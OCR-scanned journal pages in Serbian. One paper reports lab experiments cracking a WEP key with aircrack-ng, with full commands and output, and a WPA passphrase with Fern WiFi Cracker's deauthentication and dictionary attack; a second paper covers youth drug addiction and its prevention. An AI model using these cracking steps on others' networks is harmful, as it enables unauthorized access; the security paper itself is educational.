DoS (engl. Denial of Service), kada napadac
sprecava ispravno funkcionisanje u bezi¢noj
mrezi.

Duga klasifikacija se odnosi na nacin na koji se
vrie napadi. Napadi se mogu podeliti na, [3]:
Logicke napade;
Fizicke napade.

Neki od tipova logickih napada su:

e Laziranje MAC adrese (engl. Spoofing of
MAC address), u cilju pristupa bezi¢noj mrezi.
MITM (engl. Man is the Middle) napad ima
vise varijacija. Jedna od njih je da napadacev
uredaj ne dozvoljava korisnicku da se direktno
poveze na Access Point, ve¢ samo posredno
putem napadacevog uredaja.

Fizicki napade su jednostavniji od logickih i
oslanjaju se na hardverske karakteristike prisutne u
bezi¢noj mrezi. Jedan primer je fizicki pristup napadaca
Access Pointu §to omogucava lak§u manipulaciju ili ¢ak
fizicka oSteCenja. Fizicki napade je lakSe otkriti, a
glavni cilj im je uglavnom onesposobljavanje servisa ili
ozbiljno naruSavanje performansi rada mreze.

4. BACKTRACK

Digitalna forenzika je nauka koja se bavi
pronalazenjem, prikupljanjem i analizom podataka u
digitalnom obliku. Oblasti izuavanja mogu biti
raCunari, mobilna telefonija, mreze, kao i baze
podataka. ForenziCari se Cesto specijalizuju i za
oderedeni tip operativnog sistema: Windows, Linux ili



Mac. Digitalni dokazi koje forenziCari prikupe koriste
se kasnije za vodenje sudskih postupaka ili istraga u
okviru samih kompanija. Digitalna forenzika igra
znaCajnu ulogu u policiji, vojsci, bankama,
osiguravajucim kucama i drugim ustanovama i
kompanijama gde moze do¢i do industrijske Spijunaze i
zloupotrebe informaciono-tehnoloskih (IT) sistema.

Backtrack je distribucija  Linux operativnog
sistema Cija je vazna namena IT sigurnost. Koristi se za
digitalnu forenziku, testiranja upada, sigurnost mreza i
pronalazenje sigurnosnih propusta i poseduje Citav niz
forenzickih alata za tu svrhu. Trenutno BackTrack
poseduje vise od 300 alata koji se svakodnevno mogu
azurirati u novije verzije. Alati su logicki poredani na
osnovu strukture pa i pocetnici mogu pronaci alat za
ostvarivanje odredenog procesa. U BackTrack su
uklju¢ene nove tehnologije i tehnike testiranja [4].
Rado ga koriste profesionalci koji rade testeranja
upada, vladine agencije kao i oni koji rade u oblasti
informaticke bezbodnosti.

5. EKSPERIMENTI

U nastavku rada bi¢e predstavljeni rezultati dva
eksperimenta koji se odnose na otkrivanje Sifre za
pristup bezi¢nim mrezama koje su zastic¢ene:

WEP algoritmom;
WPA algoritmom.

Oba ekdspermienta imaju istu opremu koja je i
povezana na isti nacin:
Modem koji je vezan za Internet. Teoretski on
ne bi morao da postoji za ovo posmatranje, ali
u praksi najcesce postoji;
Ruter (engl. Router), koji ¢ini osnovu bezi¢ne
mreze. Ovaj uredaj je sa jedne strane ziano
vezan za Internet posredstvom modema, a sa
druge strane koriste¢i antenu putem radio
talasa komunicira sa drugim uredajima;
BackTrack LiveCD — operativni sistem koji se
moze na obicnom PC racunaru pokrenuti bez
instalacije. Ovo je besplatan softver;
PC - wuredaj koji bezicno komunicira sa
ruterom. Ovaj uredaj ima informaciju koja je
Sifra potrebna za komunikaciju sa ruterom.
Njegov naziv u ovom radu ¢ée biti UserPC;
PC — uredaj koji ima bezi¢nu mreznu Kkarticu,
ali koji nema informaciju koja je Sifra potrebna
za komunikaciju sa ruterom. Na njemu je
pokrenut BackTrack operativni sistem. Ovaj
uredaj koristimo za napad. Njegov naziv u
ovom radu ¢e biti BackTrackPC.
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Slika 2. Konfiguracija bezi¢ne mreze koja se koristi u
eksperimentima, nacrtana kori$¢enjem Packet Tracer [5]

5.1. EKSPERIMENT 1 - WEP

Osnovna ideja je delimi¢no bazirana na postupku za
otkrivanje Sifara bezi¢nih WEP mreza iz [6]. Preduslovi
za eksperiment su konfigurisanje bezi¢nog rutera. Ruter
je posredstvom modema povezan na Internet. Parametri
rutera od znadaja za eksperiment su postavljeni na
sledece vrednosti:

SSID: vts_testl;
Authentication: WEP;
WEP key: Zr023.

Eksperiment je zapoceo tako §to racunar UserPC
razmenjivao pakete sa Ruterom. Pri tome racunar je
(BackTrackPC) u svojoj konzoli izvrSio sledece
komande (tabela 1 prikazuje komande i rezultate
izvrSenja tih komandi koje ¢e biti opisane u daljem
tekstu):

e root@bt:~# iwconfig
Na ovaj nacin su detektovane dostupne bezi¢ne
kartice. Bezi¢na kartica najceS¢e ima naziv
,,wlan0®.
root@bt:~# ifconfig wlan0 up
Mrezni interfejs je omogucen.
root@bt:~# airmon-ng start wlan0
Ovom komandom je bezi¢na kartica prebCena
u monitor mod, u kome je omoguceno kartici
da prisluskuje svaki paket koji se nalazi u
dometu. U ovom slucaju to su bili paketi
izmedu UserPC i rutera.
root@bt:~# iwconfig mon0
Izvr$enjem ove komande omogudéeno je da se
vidi novi interfejs u monitor modu.
root@bt:~# airodump-ng mon0
Na ovaj nacim se mogu otkriti bezicne mreze u
okruzenju. Ciljna mreza rutera u ovom slucaju
je imala sledece bitne parametre:

o BSSID: 54:E6:FC:97:C7:7A (MAC
adresa rutera)
o CH: 1 (Kanal koji ruter koristi)

Komandom CTRLAC je izvrSeno prekidanje rada
ove komande.



Tabela 1. Komande i rezultati iz Terminala BackTrack-a

root@bt:~# iwconfig
lo no wireless extensions.

wlan0 IEEE 802.11bg ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on

eth0  no wireless extensions.
root@bt:~# ifconfig wlan0 up
root@bt:~# airmon-ng start wlan0

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name

2740 dhclient3

2801 dhclient3

Process with PID 2740 (dhclient3) is running on interface wlan0

Interface  Chipset Driver
wlan0 Ralink 2573 USB rt73usb - [phy0]
(monitor mode enabled on mon0)

root@bt:~# iwconfig mon0
mon0  IEEE 802.11bg Mode:Monitor Tx-Power=20 dBm

Retry long limit:7 RTS thr:off Fragment thr:off

Power Management:on
root@bt:~# airodump-ng mon0
CH 10 ][ Elapsed: 36 s ][ 2015-05-27 08:02
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
54:E6:FC:97:C7:7TA -35 13 0 0 154.WEP WEP vts_testl

BSSID STATION PWR Rate Lost Frames Probe

(not associated) 00:CO:A8:FE:6E:D3 -43 0-1 6 36 ALCATEL ONE TOUCH IDOL X,USR5461PanicZr

root@bt:~# airodump-ng mon0 --bssid 54:E6:FC:97:C7:7A -c 1 -w testwep
CH 1][ Elapsed: 17 mins ][ 2015-05-27 08:22

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
54:E6:FC:97:C7:7A -31 46 3912 57995 0 1 54.WEP WEP vts_testl
BSSID STATION PWR Rate Lost Frames Probe

54:E6:FC:97:C7:7A EC:23:3D:CE:59:62 -41 54-1 8 595
root@bt:~# aircrack-ng testwep-01.cap

Opening testwep-01.cap

Read 149211 packets.

# BSSID ESSID Encryption
1 54:E6:FC:97:C7:7A vts_testl WEP (57945 IVs)

Choosing first network as target.
Opening testwep-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 57945 ivs.
KEY FOUND! [ 5A:72:30:32:33 ] (ASCII: Zr023)
Decrypted correctly: 100%
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--bssid

e root@bt:~# airodump-ng mon0
54:E6:FC:97:C7:7A -c 1 -w testwep
Ovom komandom je izvrSeno prisluskivanje
saobracdaja rutera ¢ija je MAC adresa
54:E6:FC:97:C7:7A, na kanalu 1, a rezultati su
skladisteni u ,,testwep® fajl.

root@bt:~# aircrack-ng testwep-0l.cap
Kada je jednom prikupljen dovoljan broj
paketa ova komanda je omogucila dobijanje
Sifre bezi¢ne mrezZe.

Handshaking je automatizovani proces
pregovaranja koji dinamicki podesava parametre
komunikacionog kanala uspostavljenog izmedu dva
entiteta pre nego $to zapocne normalna komunikacija.
To je obi¢no proces koji se odvija kada rac¢unar treba da
zapoc¢ne komunikaciju sa stranim uredajem kako bi se
uspostavila pravila medusobnog komuniciranja. Kada
raCunar komunicira sa drugim uredajem kao $to je
modem, printer ili mrezni server, potrebno je da se
izvr$i handshake protokol sa uredajem kako bi se sa
njim uspostavila veza. Cetvorotruki (4-way) handshake
protokol se obi¢no izvrSava na samom pocetku WPA
prenosa.

U posmatranom eksperimentu analiza je izvrSena
nad 57945 paketa, prikupljenih u roku od 17 minuta.
Kao rezultat je uspesno otkrivena Sifra sa WEP
algoritmom ,,Zr023*. U pitanju je bio pasivni napad jer
je  BackTrackPC samo prisluskivao  postojecu
komunikaciju. Na ovaj nacin aktivnost BackTrackPC
ima mnogo vise Sansi da ne bude otkrivena nego da je
koris¢ena neka vrsta aktivnog napada.
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5.2. EKSPERIMENT 2 - WPE

Ruter je posredstvom modema povezan na Internet,
kao i u prethodnom eksperimentu. Parametri rutera od
znacaja za eksperiment imaju sledece vrednosti:

SSID: vts_test2;
Authentication: WPA-PSK/WPA2-PSK;
PSK Passphrase: Audience.

Za razliku od prvog eksperimenta, u drugom
eksperimentu se ne koriste tekstualne komande.
Preciznije softver sa grafickim interfejsom u pozadini
izvr§ava tekstualne komande, koje korinik ne mora da
zna detaljno. "Fern Wi-fi Cracker moze da razbije WEP,
WPA, i WPA2 bezi¢ne mreze. Fern se u osnovi koristi
moguénostima komandne linije za razbijanje ovakvih
mreza i smeSta ih u GUL" [7]

Za potrebe ovog eksperimenta se koristi ,,Fern WiFi
Cracker. Sam program je sastavni deo BackTrack
operativnog sistema, i poseduje graficki korisnicki
interfejs (slika 3.).

Rad u programu je vrlo jednostavan i intuitivan.
Potrebno je izvrsiti nekoliko koraka:

e Izabrati bezicnu karticu koje se koristi za

pracenje saobracaja u mrezi. Program ¢e ovu
karticu prebaciti u monitor mod;
Izabrati bezicnu mrezu iz spiska WEP i WPA
mreza koje su pronadene. Nakon izbora mreze
otvara se drugi prozor (slika 4.), u okviru koga
se vrse dalje aktivnosti.



S

ToolBox

encryption standard ac

rocketmail.com

Fern WPRA Frame

vts_test? B Attack

Probing Access Point darkcOde.lst
Deauthenticating BEC:23:3D:CE:59:62

Handshake Captured EC:23:3D:CE:59:62
Bruteforcing WPA Encryption

Approaches
Anished ki

Wpa Encryption Broken

Slika 4. Fern-wifi-cracker — WPA Frame koji omogucava pokretanje napada
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Frame prozor omogucava da se izvrse specificna
podesavanja potrebna za napad na izabranu bezi¢nu
mrezu. Ovde takode postoji nekoliko koraka:

e Izabrati mrezu koja se napada. Za izabranu
mreZu se u samom prozoru prikazuju podaci
0 njoj poput imena mreze, MAC adrese
uredaja koji je osnova beziéne mreze, tipa
enkripcije, kanala i dr;

e Zatim je potrebno izabrati re¢nik na sa Cesto
koris¢enim S$iframa koji ¢e biti koris¢en za
potrebe napada. U ovom eksperimentu se
koristi re¢nik ,,darkcOde.lIst*, koji se nalazi u
sastavu BackTrack Linux-a. Ovaj reénik je
relativno malog obima, a u realnoj situaciji
se koriste recnici koji su mnogo obimniji.
Treba napomenuti da ovaj recnik sadrzi re¢
,,2Audience’;

e Kada su prethodna podesavanja izvrSena
klikom na dugne ,,Attack® moze se zapoceti
napad na izabranu bezi¢nu mrezu.

Nakon ovoga je sacekano da uredaj UserPC bude
deautentifikovan, kako bi se uhavtio handshake u
ovom procesu deautentifikacije. Kada je handshake
uspesno uhvacen, softver prelazi na napad, pri kome
vr§i isprobavanje Sifri iz reCnika, 1 u njima trazi
kandidata za Sifru WPA mreze. S obzirom da je ovaj
napad izvrSen u laboratorijskim uslovima, izabrana je
Sifra koja postoji u re¢niku i kao rezultat toga je WPA
enkripcija razbijena, i otkrivena §ifra ,,Audience”. Na
taj nacin je izvrSen drugi eksperiment.

6. ZAKLJUCAK

Vazno pitanje vezano za bezi¢ne mreze je pitanje
bezbednosti. Zbog nacina prenosa podataka u
bezi¢nim mrezama one su pogodne za razliCite tipove
napada. Cesto koridéenji algoritmi za zadtitu ovih
mreza su WEP, WPA i WPA2. U radu su
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demonstrirana dva nacina za relativno lake napade na
mreZe koje su zaSti¢ene na ova dva nacina. Dok je
kod WEP bezi¢nih mreza veoma lako otkriti Sifru za
pristup, WPA mreZe su relativno dobro zasticene,
ukoliko se izabere jaca Sifra, pa se upotreba WPA (i
WPA2) enkripcije danas preporucuje.
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NARKOMANIJA | NJENE POSLEDICE

DRUG ADDICTION AND ITS CONSEQUENCES

Dr CEDOMIR IVANOVIC, profesor strukovnih studija
Visoka tehnicka Skola strukovnih studija u Zrenjaninu

REZIME

Glavni oblici asocijalnih ponasanja mladih su:
narkomanija,alkoholizam, kockanje, prostitucija,
prosjaenje i dr.U ovom radu se sazeto tretiraju

pobrojani oblici ponaSanja mladih. Problemi se
posmatraju  sa  viSe  aspekata: bezbednosna
kultura,zdravstvene  posledice, pravne posledice.

Posebna paznja posveéena je metodama i postupcima
prevencije i zastite.

ABSTRACT

The main forms of antisocial behavior of young
people are: drug addiction, alcoholism, gambling,
prostitution, begging, e.t.c. This paper briefly treated
enumerated forms of young people. Problems are
viewed for several aspects: security culture, legal
consequences, health consequences.Special attention
was paid to methods and procedures of prevention and
protection.

1. NARKOMANIJA | NJENE POSLEDICE
U literaturi se srece veci broj definicija
narkomanije. Prema jednoj od nau¢no relevantnih
definicija narkomanija podrazumeva "svaki vid
uzimanja droga ili bilo kakvih opojnih sredstava, koja
stvaraju bilo psihi¢ku, bilo fizicku zavisnost,,.

Pojam narkomanija polazi od S$irokog shvatanja
pojma droge, pa tako u najSirem smislu reéi droga je
svaka supstanca prirodnog ili sintetizovanog porekla
koja uneta u organizam izaziva promene jedne ili vise
psihi¢kih, odnosno somatskih funkcija organizma." .
Polaze¢i od takvog odredenja pojma narkomanija, $to
podrazumeva najsiri oblik zavisnosti od droga, izmedu
ostalog obuhvata i alkoholizam, zatim zavisnost od
droga, kao i neke druge vidove zavisnosti koji pripadaju
lakim drogama, a to su kafetinizam, nikotinizam i
drugo.

O nazivu pojave uzimanja droge u nemedicinske
svrhe, ne postoji jedinstven stav. Tako, prema jednom
od miSljenja “zavisnost od droga (narkomanija)
predstavlja stanje psihicke ili fizicke zavisnosti, ili i
jedne i druge, od droge, koje nastaje kod osoba koje
periodiéno ili stalno uzimaju drogu." Uzimanje droge i
stvaranje zavisnosti od nje uslovljava reakciju drustvene
sredine na tu pojavu. Stav drustva, Koji se izrazava u
obliku represije, posledica je sukoba narkomana sa
okolinom.
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2. ASPEKT BEZBEDNOSNE KULTURE
MLADIH

1z iznetog se da lako zakljuciti da, narkomanija
predstavlja sociopatolo$ku pojavu,koja ¢esto uzrokuje i
mnogobrojne kriminogene  posledice.Prema tome,
narkomaniju ne moZemo posmatrati samo kao socijalni
problem, nego sve ¢esce, kao §to konstatuje(Krivokapic¢
dr Vladimir), kao "kriminogeni faktor". Ovo pogotovu
u slucajevima kada proizvodnja, prerada i transport
droge u organizovanom i masovnom obliku u okviru
jedne drustvene zajednice, dostigne takav stepen i
razmere, da bitno ugrozavaju dato drustvo. Naime,
svedoci smo da je u nekim latinoameri¢kim
drzavama'"narkomafija" dostigla takve razmere, da je
usla u mnoge ,,drZavne strukture,, i da bitno utice na sve
drustvene tokove, i donocenje vaznih odluka.

3.NARKOMANIJA MLADIH

Narkomanija mladih ,je danas veoma visoko
zastupljena, $to je veoma znacajno sa aspekta prevencije
i rehabilitacije. Naime, liénost mladog narkomana
predstavlja transfer s jedne strane za eksperimentisanje,
a sa druge strane za uspostavljanje zavisnosti od droga, i
ta svojstva su:
znatizelja i potreba za novim iskustvima,
potreba za samodokazivanjem,
potreba za samoaktualizacijom



e potreba za identifikacijom (u odnosu na druge
ljude)
drugo...

"Kod narkomanije mladih veliki znacaj imaju
narkomanske grupe, dok kod klasi¢nih narkomana
postoji individualno koris¢enje droge. Narkomanska
grupe ima veliki znacaj iz dva razloga:

a) Vezana je za Sam promet droge;

b) vezana je za obelezje narkomanije mladih, a to

je narkomanska -subkultura.

Narkomanska subkultura:- formiranju
narkomanske subkulture znatno je doprineo pokret
mladih, pogotovo "hipi pokret". Ono $to je bitno jeste,
da retko koja drustvena institucija (ukljucuju¢i i
porodicu) ima mehanizme povezanosti kao $to imaju
narkomanske grupe. Pripadnost narkomanskoj -
subkulturi, za wuZivaoce droge, koja je strogo
kontrolisana i ilegalna, ima izuzetan znacaj, koji se
ogleda u:

a)

b)

c)

d)

zajedni¢kom uzivanju droge;

moguénosti nabavke droge,

osecanje zasti¢enosti i uzajamno razumevanje;
i postojanje sli¢nih ideja.

Narkomanija se danas smatra boles¢u zavisnosti,
sadasnjosti i buduénosti. Epidemioloski podaci koji se
odnose na nasu zemlju su sve alarmantniji.
Najznacajnije Kkarakteristike zavisnosti koje variraju
prema wvrsti droge su: psihicka zavisnost, fizicka
zavisnost i tolerancija.

Psihi¢ka zavisnost je posebno stanje svesti, koje
se sastoji u Zelji i potrebi nekih ljudi za efektima droge,
koje oni dozivljavaju kao prijatna i koji im donosi
zadovoljstvo. Opsta Karakteristika svih droga jeste, da
stvaraju psihi¢ku zavisnost i da imaju dejstvo na
percepciju  (opazanje), na izazivanje eufori¢nog
raspoloZenja.

Fizicka zavisnost se sastoji u opStoj adaptaciji
organizma na stalno prisustvo droge, jer je usled
uzimanja droge doslo do promene metabolizma, pa
tako, ukoliko se naglo prekine uzimanje droge, dolazi
do apstinencijalnog sindroma kao fizi¢kog poremecaja,
koga KarakteriSu razli¢iti somatsko-vegetativni i
psihi¢ki poremecaji, kao Sto su:

e poviSena temperatura;
drhtavica;
gréevi;
mugcnina;
drugo...

Fizicku zavisnost, ¢ine mnogobrojne vrste i
klasifikacije droga. Ovde ¢e mo nabrojati osnovne:

Opijati-droge koje nastaju na bazi opijuma;

-heroin, morfijum;

Barbiturati -soli barbituratske kiseline(razne pilule
za umirenje I drugo...;

Kokain -lis¢e i zrnevlje biljke koke;

Amfetamin -razne pilule za mrsavljenje;

Kanabis- hasi§, marihuana;
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Halucinogenici -LSD-25, meskalin, psilocybin;

Tolerancija: -oznac¢ava postepeno opadanje dejstva
droge, odnosno nemoguc¢nosti da se zeljeni efekti
postignu ranijom kolicinom droge, pa je zato neophodno
stalno povecavati dozu droge da bi se postigli efekti.

Tolerancija postoji kod opijata, barbiturata,
amfetamina, halucinogenika, a ne postoji kod kokaina i
kanabisa, pa zato kod ovih vrsta droga, gde ne postoji
tolerancija, postoji tendencija legalizacije, s tim $to je
bitno obezbediti kontrolisanu koli¢inu droge, koja treba
da bude cista.

Ono §to je bitno, jeste da Svaka droga ima svoj
karakteristican tip zavisnosti, odnosno, da postoje
razligiti tipovi zavisnosti s obzirom na razlicita svojstva
droge.

Svim drogama je zajednicko da stvaraju:
psihic¢ku zavisnost;
dovode do promena psihi¢kih svojstava i
ponasanja;
dovode do fizi¢kih i somatskih poremecaja;
zatim do poremecaja funkcionisanja socijalnih
odnosa,  §to zapravo znaci da uzimanje droga
dovodi do psihi¢ckog i socijalnog propadanja
mladog ¢oveka.

4. PRAVNI ASPEKT

Sa pravnog aspekta moze se govoriti o tri vrste
droga.
a) zabranjene droge
zabranjena  (npr.
proizvodnje opijuma),

-Gija  je
limitirana

proizvodnja
je  Kkoli¢ina

b) kontrolisane droge- koje se upotrebljavaju
iskljuc¢ivo u medicinske svrhe, i to po strogoj
kontroli i procedure;

c) nekontrolisane droge- gde spada najveca

koli¢ina droga.

5. ZLOUPOTREBA DROGA

Ovo je problem sa kojim se suocava sve veci broj
porodica u nasoj zemlji i ne samo kod nas. Kao razlog
posezanja za drogom, mladi najées¢e navode potrebu za
dokazivanjem zrelosti, Zelju za oéuvanjem prijateljstva
sa vrSnjacima Kkoji uzimaju drogu, nespremnost za
suocavanje sa problemima u skoli ili u odnosima sa
ljudima iz uzeg ili $ireg okruZenja, Zelju za postojanjem
zadovoljstva | drugo

Dakle, roditelji direktno ili indirektno u¢estvuju u
svakom od navedenih povoda. Nerazumevanjem ili
potcenjivanjem problema "to se de$ava drugima, a ne i
mom detetu”, nedostatkom vremena, nesnalazenjem u
roditeljskoj ulozi i neodgovaraju¢im odnosom prema
deci, roditelji  stimuliSu  "pogresan  odgovor"
nepripremljenog mladog ¢oveka na iskuSenja sredine,
ukljuéujuéi i zloupotrebu droga.

Posledice propusta u obavljanju svojih roditeljskih
duznosti snose najvise deca. Najveca iskusenja mladih
sa napred prezentovanim cinjenicama, deSavaju se u



najosetljivijem zivotnom dobu- izmedu detinjstva i
punoletstva (adolescenciji)

Taj period KkarakteriSe slobodnije kretanje i
druzenje sa $irim krugom vr$njaka i drugim osobama.
To je vreme u kome je danas, sve veci broj mladih u
prilici da dode u dodir sa drogom. Da li ¢e je probati ili
ne, zavisi od mnogih ¢inilaca, kao §to su:
sama li¢nost;
kulturoloske odlike drustvene sredine;
obicaji;
uticaji sredine;
drugo...

Jedan od razloga zasto je mladom
teSko da se odupre drogama ,jeste i taj
nudi prijateljstvo vr$njaka ,,stariji ortak".

Manje od 20% izvora droge za mlade su dileri.
Razvijanje raznih veStina za odupiranje, alkoholu,
duvanu i drugim drogama kao i pritisku vrnjaka,
pripremi¢e dete roditelj, staratelj,porodica, nastavnik i
druga autoritativna osoba, da kaze odlu¢no "ne".

Porodica je jedan od znacajnih, ako ne i
najznacajnijin  ¢inilaca, koji moZze da doprinese
formiranju odgovarajuceg stava u odnosu na droge kod
mladog ¢oveka.

¢oveku toliko
$to mu drogu

5.1. Prevencija

Prevencija u odnosu na mlade ne zashiva se samo
na ulozi porodice, ve¢ njena saradnja sa Sirom
drustvenom zajednicom i $kolom, tako da sveobuhvatan
pristup ima pre svega vaspitni karakter.

Aktivnosti u smislu preventivnhog delovanja od
strane roditelja prema svojoj deci (prema Dokicu,
2000.god.) sastojale bi se u slede¢em :

Mladi uzrasta od( 8 -12 )godina
ucite svoje dete da ceni individualnost;
razgovarajte o ljudima koje dete voli;
pitajte svoje dete $ta ono voli
individualnosti,
istrazujte sadrzaje prijateljstva;
otkrijte $ta vase dete podrazumeva pod
prijateljstvom;
ucite dete da izbegava riskantne situacije;
izbegavajte situacije koje podsticu dete da(
pije, pusi, uzima drogue);
ucite dete da koristi pozitivan pritisak grupe
(neke Skole i drustvene organizacije sponzorisu
programe u Kkojima vrSnjaci podrZavaju
pozitivne vrednosti jedni kod drugih,);
pruzite neophodnu podrsku svom detetu da
kaze "ne";
kulturno i lepo vaspitano dete ,nailazi na
postovanje u drustvu, ali nije uvek i dobro
pripremljeno da bude samopouzdano;
detetu treba dati viSe slobode u donoSenju
odluka, ali ga treba kontrolisati (nadzirati);
ostvarite uvid u odnose deteta sa njegovim
prijateljima;

° u svojoj

55

uspostavite granice slobode i konsekvence
kaznjavanja;

zadrzite kontrolu u "Zutoj liniji"( kritiénim,
provokativnim situacijama);

usaglasite se sa svojim bra¢nim drugom (¢ak i
ako ste razvedeni);

ucestvujte  u  preventivnim
zajednici;

manifestujte vaznost dobrog zdravlja( diskusiju
0 zdravlju mozete koristiti da objasnite kako
droga, pusenje i alkohol nanose $tetu
organizmu);

diskutujte kako TV -reklame pokusavaju da
primoraju ljude da kupe odredene proizvode;
izvedite zakljucke da ljudi ipak treba da koriste
svoju procenu korisnosti tih proizvoda;
predocite deci reklame na TV- o duvanu,
alkoholu (pivu);

diskutujte sa decom o korisnosti lekova i
Stetnosti droga.

Najvaznije je da osposobite svoje dete da kaze
"ne"”, da odbije ponudu ili da se suprotstavi
pritisku kad je droga u pitanju.

naporima U

Mladi uzrasta(13-15)godina

To je period pre adolescencije.Ustvari to je
najkriti¢niji period. Potreba deteta da bude prihvaceno u
grupi vr$njaka moze biti osnova zloupotrebe, ukoliko je
kriterijum prihvatanja spremnost da se koristi droga.
Samopouzdanje, odgovornost u donoSenju odluka i
reSavanju problema, koje je dete razvilo ranije, mogu
biti veoma korisne u odupiranju pritisku vrinjaka.

Deca u ovom uzrastu pocinju da se suocavaju sa
apstrakcijama i po¢inju da razmisljaju o buduénosti. Oni
razumeju da njihovi postupci imaju konsekvence i znaju
kako njihovo ponasanje utice na ostale. Snazna
emocionalna podrska i dobar model zrelosti (dobar
primer odraslog) su veoma bitni za identifikaciju.
Pricaju¢i trinaestogodisnjaku da ¢e dobiti tumor pluca i
sr¢anu bolest u tridesetoj ili cetrdesetoj godini ,nema
nikakvog uticaja na promenu ponasanja.

Poruke se moraju odnositi na "ovde i sada", (lo§
zadah, mrlje na zubima, rano boranje ,uzrokovano
pusenjem duvana). U ovom uzrastu kod mladih, treba
sprovesti pravila o neuzimanju alkohola i droga uz
odgovarajuca objasnjenja koja treba da zna:
karakteristike odredenih droga;
efekte droge na cirkulaciju, respiratorni, nervni
i reproduktivni sistem, etape u razvoju
zavisnosti (upotreba, zloupotreba, zavisnost);
nepredvidljivost razvoja zavisnosti od osobe
do osobe, i nadine na koje droga utice na
koordinaciju aktivnosti (npr. voZnja auta,
ucesce u sportu i drugo);
uloga porodicne anamneze u riziku da
adolescent postane zavisnik od alkohola i
drugih droga.



Sto se ti¢e roditelja, preporucene aktivnosti bi se
sastojale u:

e upoznajte prijatelje vaseg deteta i njihove
roditelje;

podelite o¢ekivanja u pogledu ponasanja vase
dece;

zajedno izgradite pravila o vremenu kada se
mora biti u kuéi, o zabavama kojima ne
prisustvuju  stariji,  drugim  socijalnim
aktivnostima;

e ostvarujte nadzor nad kretanjem vaseg deteta.

Ako dete odlazi u bioskop, morate znati koji se film
daje u tom bioskopu i sa kim dete izlazi. Promene u
poslednjem trenutku (npr. odlazak u drugi bioskop), ne
treba dozvoliti, narocito ako se o tome ne postigne
dogovor sa roditeljima drugog deteta. Nastavite da
uvezbavate sa svojim detetom nacin da kaze "ne". Ugite
se da prepoznate problemati¢ne situacije( boravak u
kuéi bez prisustva starijih, gde se moze piti alkohol i
drugo). Decji strah od seksualnosti i dozivljaj razlike u
odnosu na druge zahtevaju vasu paznju. Provedite
vreme Sa svojim detetom diskutuju¢i o osecanjima
kojima pridaje vaznost i drugo.

Adolescenti u uzrastu od 16 do 18 godina, su
uglavnom ugenici srednjih $kola | student, koji su
orijentisani na buduénost i sposobni su da misle
apstraktno. Idealisticki odnos, prema realnosti,
zainteresovanost za dobrobit drugih i kriticki stav prema
odnosima u svetu odraslih, cesto ¢ine adolescente
"buntovnicima bez razloga".

Pripadnost grupi nastavlja da motivise njihovo
ponasanje. Do kraja srednje $kole mladi treba da
razumeju: a)trenutni i zbirni fizicki efekat odredenih
droga, moguc¢nost fatalnog ishoda od kombinovanja
droga, upotreba psihoaktivnih supstanci za lecenje
bolesti i nesposobnosti, efekte alkohola i drugih droga
na fetus tokom trudnoce, povezanost izmedu upotrebe
droga i side, mogu¢i ishod upotrebe psihoaktivnih
sredstava, posebno na voznju automobila pod uticajem
droga ili alkohola, efekte alkohola i drugih droga na
drustvo i dr. Svako drustvo, kao $to je receno, reaguje
preventivno ili represivno na pojavu narkomanije.
Stavovi se prema tom problemu, u mnogome razlikuju u
zavisnosti od drzave do drzave, a Sto zavisi od: vrste
droge, nacina njenog uzimanja kao i od dru$tvene
Stetnosti koju proizvode. "NaSe drusStvo posebno ostro
reaguje na uzimanje droga medu mladima, primenjujuci
razli¢it spektar mera socijalne kontrole, vaspitanja,
obrazovanja i represije. Mere reagovanja drustva
klasifikuju se prema tzv. op$tem modelu reagovanja koji
se u osnovi sastoji od cetiri modela: moralisticko-
legalnog, medicinskog, psihosocijalnog i socio-
kulturnog." . Socio-kulturni model je interesantan sa
aspekta teme ovog rada, a ogleda se u tome S$to se
narkomanija smatra drustvenom devijacijom i u tom
smislu treba reagovati preventivno. U praksi reagovanja
drustva nijedna zemlja ne koristi neki od modela u
izvornom obliku, nego se praktikuje primena elemenata
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sva cetiri modela. Sa stanovista bezbednosne kulture
mladih u osnovnim i srednjim Skolama, bitno je
sveobuhvatno sagledati kako obuciti (osposobiti,
edukovati) decu - mlade, u veStinama odupiranja ovoj
opakoj pojavi i kako ih zastititi da ne dodu pod uticaj
vrinjaka Koji su ve¢ postali zavisnici od droge.

6.PRIMARNA PREVENCIJA ZLOUPOTREBE
PSIHOAKTIVNIH SUPSTANCI KOD
MLADIH

Mnogi autori sa razli¢itih nauénih aspekata ukazali
su da zloupotreba droge medu mladima u Republici
Srbiji poprima epidemijske razmere i u tome se sve vise
priblizavamo svetskim trendovima. Postojeca kriza u
drustvu i poremecen sistem vrednosti najvise se
prelamaju preko mladih. Umesto termina "droga" sve
CeS¢e se koristi §iri termin "psihoaktivhe supstance"
kojim se oznacavaju sve materije koje menjaju stanje
svesti, opazanje, raspoloZenje, misljenje i ponaSanje.
Mladi najéesce sticu svoja prva iskustva sa drogama u
periodu adolescencije. To je vreme kada se deSavaju
burne i veoma brze telesne i psiholoske promene. Uz to
od mlade osobe se ocekuje da ovlada odredenim
razvojnim zadacima i da donese najvaznije odluke u
svom Zzivotu. Ocekuje se da izabere profesiju i stvori
osnovu za ekonomsku nezavisnost, da oformi identitet,
da se prilagodi na telesne promene i seksualnost, da se
osposobi za bliskost i odgovornost u odnosu sa drugima.
Adolescenti ¢esto pocinju da koriste alkohol i droge u
pokusaju da savladaju teSko¢e u postizanju razvojnih
zadataka. Postoje odredena svojstva ovog perioda koja
posebno povecavaju rizik. To je pre svega bunt protiv
roditelja i drugih autoriteta. Mladi poc¢inju da dovode u
pitanje roditeljski autoritet, pravila koja su oni
odredivali kao i njihove stavove i ocekivanja.
Istovremeno za tinejdzera sve veéi znacaj dobijaju
vr§njaci. Potreba da se vrednuju i prihvate postaje jedna
od najznacajnijih potreba u ovom periodu. Ako se
mlada osoba nade u grupi koja koristi droge, trebace joj
mnogo sigurnosti u sebe i samopouzdanja da izdrzi
odbacivanje ako odbije ono $to joj se nudi (drogu, pice).
U ovom periodu mladi su preokupirani sopstvenim
izgledom, kvalitetima i sopsobnostima i to stalno
preispituju. Istovremeno dolazi do manjeg ili veceg
